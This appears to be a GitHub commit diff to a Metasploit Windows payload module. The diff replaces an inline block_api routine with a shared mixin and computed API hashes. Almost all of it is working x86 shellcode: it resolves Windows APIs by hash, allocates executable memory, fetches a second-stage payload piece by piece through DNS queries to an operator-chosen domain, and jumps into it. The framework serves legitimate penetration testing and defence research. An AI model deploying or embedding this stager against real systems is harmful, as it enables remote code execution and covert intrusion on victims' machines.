@@ -9,6 +9,7 @@ module MetasploitModule
99
1010 include Msf ::Payload ::Windows
1111 include Msf ::Payload ::Single
12+ include Msf ::Payload ::Windows ::BlockApi
1213
1314 def initialize ( info = { } )
1415 super ( merge_info ( info ,
@@ -72,185 +73,98 @@ def generate(_opts = {})
7273 bufferreg = "edi"
7374
7475 #create actual payload
75- payload_data = <<EOS
76- cld ; clear direction flag
77- call start ; start main routine
78- ; Stephen Fewer's block_api
79- ; block_api code (Stephen Fewer)
80- api_call:
81- pushad ; We preserve all the registers for the caller, bar EAX and ECX.
82- mov ebp, esp ; Create a new stack frame
83- xor edx, edx ; Zero EDX
84- mov edx, fs:[edx+48] ; Get a pointer to the PEB
85- mov edx, [edx+12] ; Get PEB->Ldr
86- mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
87- next_mod:
88- mov esi, [edx+40] ; Get pointer to modules name (unicode string)
89- movzx ecx, word [edx+38] ; Set ECX to the length we want to check
90- xor edi, edi ; Clear EDI which will store the hash of the module name
91- loop_modname: ;
92- xor eax, eax ; Clear EAX
93- lodsb ; Read in the next byte of the name
94- cmp al, 'a' ; Some versions of Windows use lower case module names
95- jl not_lowercase ;
96- sub al, 0x20 ; If so normalise to uppercase
97- not_lowercase: ;
98- ror edi, 13 ; Rotate right our hash value
99- add edi, eax ; Add the next byte of the name
100- loop loop_modname ; Loop until we have read enough
101- ; We now have the module hash computed
102- push edx ; Save the current position in the module list for later
103- push edi ; Save the current module hash for later
104- ; Proceed to iterate the export address table,
105- mov edx, [edx+16] ; Get this modules base address
106- mov eax, [edx+60] ; Get PE header
107- add eax, edx ; Add the modules base address
108- mov eax, [eax+120] ; Get export tables RVA
109- test eax, eax ; Test if no export address table is present
110- jz get_next_mod1 ; If no EAT present, process the next module
111- add eax, edx ; Add the modules base address
112- push eax ; Save the current modules EAT
113- mov ecx, [eax+24] ; Get the number of function names
114- mov ebx, [eax+32] ; Get the rva of the function names
115- add ebx, edx ; Add the modules base address
116- ; Computing the module hash + function hash
117- get_next_func: ;
118- jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
119- dec ecx ; Decrement the function name counter
120- mov esi, [ebx+ecx*4] ; Get rva of next module name
121- add esi, edx ; Add the modules base address
122- xor edi, edi ; Clear EDI which will store the hash of the function name
123- ; And compare it to the one we want
124- loop_funcname: ;
125- xor eax, eax ; Clear EAX
126- lodsb ; Read in the next byte of the ASCII function name
127- ror edi, 13 ; Rotate right our hash value
128- add edi, eax ; Add the next byte of the name
129- cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
130- jne loop_funcname ; If we have not reached the null terminator, continue
131- add edi, [ebp-8] ; Add the current module hash to the function hash
132- cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
133- jnz get_next_func ; Go compute the next function hash if we have not found it
134- ; If found, fix up stack, call the function and then value else compute the next one...
135- pop eax ; Restore the current modules EAT
136- mov ebx, [eax+36] ; Get the ordinal table rva
137- add ebx, edx ; Add the modules base address
138- mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
139- mov ebx, [eax+28] ; Get the function addresses table rva
140- add ebx, edx ; Add the modules base address
141- mov eax, [ebx+4*ecx] ; Get the desired functions RVA
142- add eax, edx ; Add the modules base address to get the functions actual VA
143- ; We now fix up the stack and perform the call to the desired function...
144- finish:
145- mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
146- pop ebx ; Clear off the current modules hash
147- pop ebx ; Clear off the current position in the module list
148- popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
149- pop ecx ; Pop off the original return address our caller will have pushed
150- pop edx ; Pop off the hash value our caller will have pushed
151- push ecx ; Push back the correct return value
152- jmp eax ; Jump into the required function
153- ; We now automagically return to the correct caller...
154- get_next_mod: ;
155- pop eax ; Pop off the current (now the previous) modules EAT
156- get_next_mod1: ;
157- pop edi ; Pop off the current (now the previous) modules hash
158- pop edx ; Restore our position in the module list
159- mov edx, [edx] ; Get the next module
160- jmp.i8 next_mod ; Process this module
161-
162- ; actual routine
163- start:
164- pop ebp ; get ptr to block_api routine
165-
166- ; first allocate some space in heap to hold payload
167- alloc_space:
168- xor eax,eax ; clear EAX
169- push 0x40 ; flProtect (RWX)
170- mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
171- push eax ; flAllocationType MEM_COMMIT (0x1000)
172- push eax ; dwSize (0x1000)
173- push 0x0 ; lpAddress
174- push 0xE553A458 ; kernel32.dll!VirtualAlloc
175- call ebp
176- push eax ; save pointer on stack, will be used in memcpy
177- mov #{ bufferreg } , eax ; save pointer, to jump to at the end
178-
179-
180- ;load dnsapi.dll
181- load_dnsapi:
182- xor eax,eax ; put part of string (hex) in eax
183- mov al,0x70
184- mov ah,0x69
185- push eax ; Push 'dnsapi' to the stack
186- push 0x61736e64 ; ...
187- push esp ; Push a pointer to the 'dnsapi' string on the stack.
188- push 0x0726774C ; kernel32.dll!LoadLibraryA
189- call ebp ; LoadLibraryA( "dnsapi" )
190-
191- ;prepare for loop of queries
192- mov bl,0x61 ; first query, start with 'a'
193-
194- dnsquery:
195- jmp.i8 get_dnsname ; get dnsname
196-
197- get_dnsname_return:
198- pop eax ; get ptr to dnsname (lpstrName)
199- mov [eax],bl ; patch sequence number in place
200- xchg esi,ebx ; save sequence number
201- push esp ; prepare ppQueryResultsSet
202- pop ebx ; (put ptr to ptr to stack on stack)
203- sub ebx,4
204- push ebx
205- push 0x0 ; pReserved
206- push ebx ; ppQueryResultsSet
207- push 0x0 ; pExtra
208- push #{ queryoptions } ; Options
209- push #{ wType } ; wType
210- push eax ; lpstrName
211- push 0xC99CC96A ; dnsapi.dll!DnsQuery_A
212- call ebp ;
213- test eax, eax ; query ok ?
214- jnz jump_to_payload ; no, jump to payload
215- jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
216-
217-
218- get_dnsname:
219- call get_dnsname_return
220- db "a.#{ dnsname } ", 0x00
221-
222- get_query_result:
223- xchg #{ bufferreg } ,edx ; save start of heap
224- pop #{ bufferreg } ; heap structure containing DNS results
225- mov eax,[#{ bufferreg } +0x18] ; check if value at offset 0x18 is 0x1
226- cmp eax,1
227- jne prepare_payload ; jmp to payload
228- add #{ bufferreg } ,#{ wTypeOffset } ; get ptr to ptr to DNS reply
229- mov #{ bufferreg } ,[#{ bufferreg } ] ; get ptr to DNS reply
230-
231- copy_piece_to_heap:
232- xchg ebx,esi ; save counter
233- mov esi,edi ; set source
234- mov edi,[esp+0x8] ; retrieve heap destination for memcpy
235- xor ecx,ecx ; clear ecx
236- mov cl,0xff ; always copy 255 bytes, no matter what
237- rep movsb ; copy from ESI to EDI
238- push edi ; save target for next copy
239- push edi ; 2 more times to make sure it's at esp+8
240- push edi ;
241- inc ebx ; increment sequence
242- xchg #{ bufferreg } ,edx ; restore start of heap
243- jmp.i8 dnsquery ; try to get the next piece, if any
244-
245- prepare_payload:
246- mov #{ bufferreg } ,edx
247-
248- jump_to_payload:
249- jmp #{ bufferreg } ; jump to it
250-
251-
252-
253- EOS
76+ payload_data = %Q^
77+ cld ; clear direction flag
78+ call start ; start main routine
79+ #{ asm_block_api }
80+ ; actual routine
81+ start:
82+ pop ebp ; get ptr to block_api routine
83+
84+ ; first allocate some space in heap to hold payload
85+ alloc_space:
86+ xor eax,eax ; clear EAX
87+ push 0x40 ; flProtect (RWX)
88+ mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
89+ push eax ; flAllocationType MEM_COMMIT (0x1000)
90+ push eax ; dwSize (0x1000)
91+ push 0x0 ; lpAddress
92+ push #{ Rex ::Text . hash ( "kernel32.dll" , "VirtualAlloc" ) } ; kernel32.dll!VirtualAlloc
93+ call ebp
94+ push eax ; save pointer on stack, will be used in memcpy
95+ mov #{ bufferreg } , eax ; save pointer, to jump to at the end
96+
97+
98+ ;load dnsapi.dll
99+ load_dnsapi:
100+ xor eax,eax ; put part of string (hex) in eax
101+ mov al,0x70
102+ mov ah,0x69
103+ push eax ; Push 'dnsapi' to the stack
104+ push 0x61736e64 ; ...
105+ push esp ; Push a pointer to the 'dnsapi' string on the stack.
106+ push #{ Rex ::Text . hash ( "kernel32.dll" , "LoadLibraryA" ) } ; kernel32.dll!LoadLibraryA
107+ call ebp ; LoadLibraryA( "dnsapi" )
108+
109+ ;prepare for loop of queries
110+ mov bl,0x61 ; first query, start with 'a'
111+
112+ dnsquery:
113+ jmp.i8 get_dnsname ; get dnsname
114+
115+ get_dnsname_return:
116+ pop eax ; get ptr to dnsname (lpstrName)
117+ mov [eax],bl ; patch sequence number in place
118+ xchg esi,ebx ; save sequence number
119+ push esp ; prepare ppQueryResultsSet
120+ pop ebx ; (put ptr to ptr to stack on stack)
121+ sub ebx,4
122+ push ebx
123+ push 0x0 ; pReserved
124+ push ebx ; ppQueryResultsSet
125+ push 0x0 ; pExtra
126+ push #{ queryoptions } ; Options
127+ push #{ wType } ; wType
128+ push eax ; lpstrName
129+ push #{ Rex ::Text . hash ( "dnsapi.dll" , "DnsQuery_A" ) } ; dnsapi.dll!DnsQuery_A
130+ call ebp ;
131+ test eax, eax ; query ok ?
132+ jnz jump_to_payload ; no, jump to payload
133+ jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
134+
135+ get_dnsname:
136+ call get_dnsname_return
137+ db "a.#{ dnsname } ", 0x00
138+
139+ get_query_result:
140+ xchg #{ bufferreg } ,edx ; save start of heap
141+ pop #{ bufferreg } ; heap structure containing DNS results
142+ mov eax,[#{ bufferreg } +0x18] ; check if value at offset 0x18 is 0x1
143+ cmp eax,1
144+ jne prepare_payload ; jmp to payload
145+ add #{ bufferreg } ,#{ wTypeOffset } ; get ptr to ptr to DNS reply
146+ mov #{ bufferreg } ,[#{ bufferreg } ] ; get ptr to DNS reply
147+
148+ copy_piece_to_heap:
149+ xchg ebx,esi ; save counter
150+ mov esi,edi ; set source
151+ mov edi,[esp+0x8] ; retrieve heap destination for memcpy
152+ xor ecx,ecx ; clear ecx
153+ mov cl,0xff ; always copy 255 bytes, no matter what
154+ rep movsb ; copy from ESI to EDI
155+ push edi ; save target for next copy
156+ push edi ; 2 more times to make sure it's at esp+8
157+ push edi ;
158+ inc ebx ; increment sequence
159+ xchg #{ bufferreg } ,edx ; restore start of heap
160+ jmp.i8 dnsquery ; try to get the next piece, if any
161+
162+ prepare_payload:
163+ mov #{ bufferreg } ,edx
164+
165+ jump_to_payload:
166+ jmp #{ bufferreg } ; jump to it
167+ ^
254168 self . assembly = payload_data
255169 super
256170 end
0 commit comments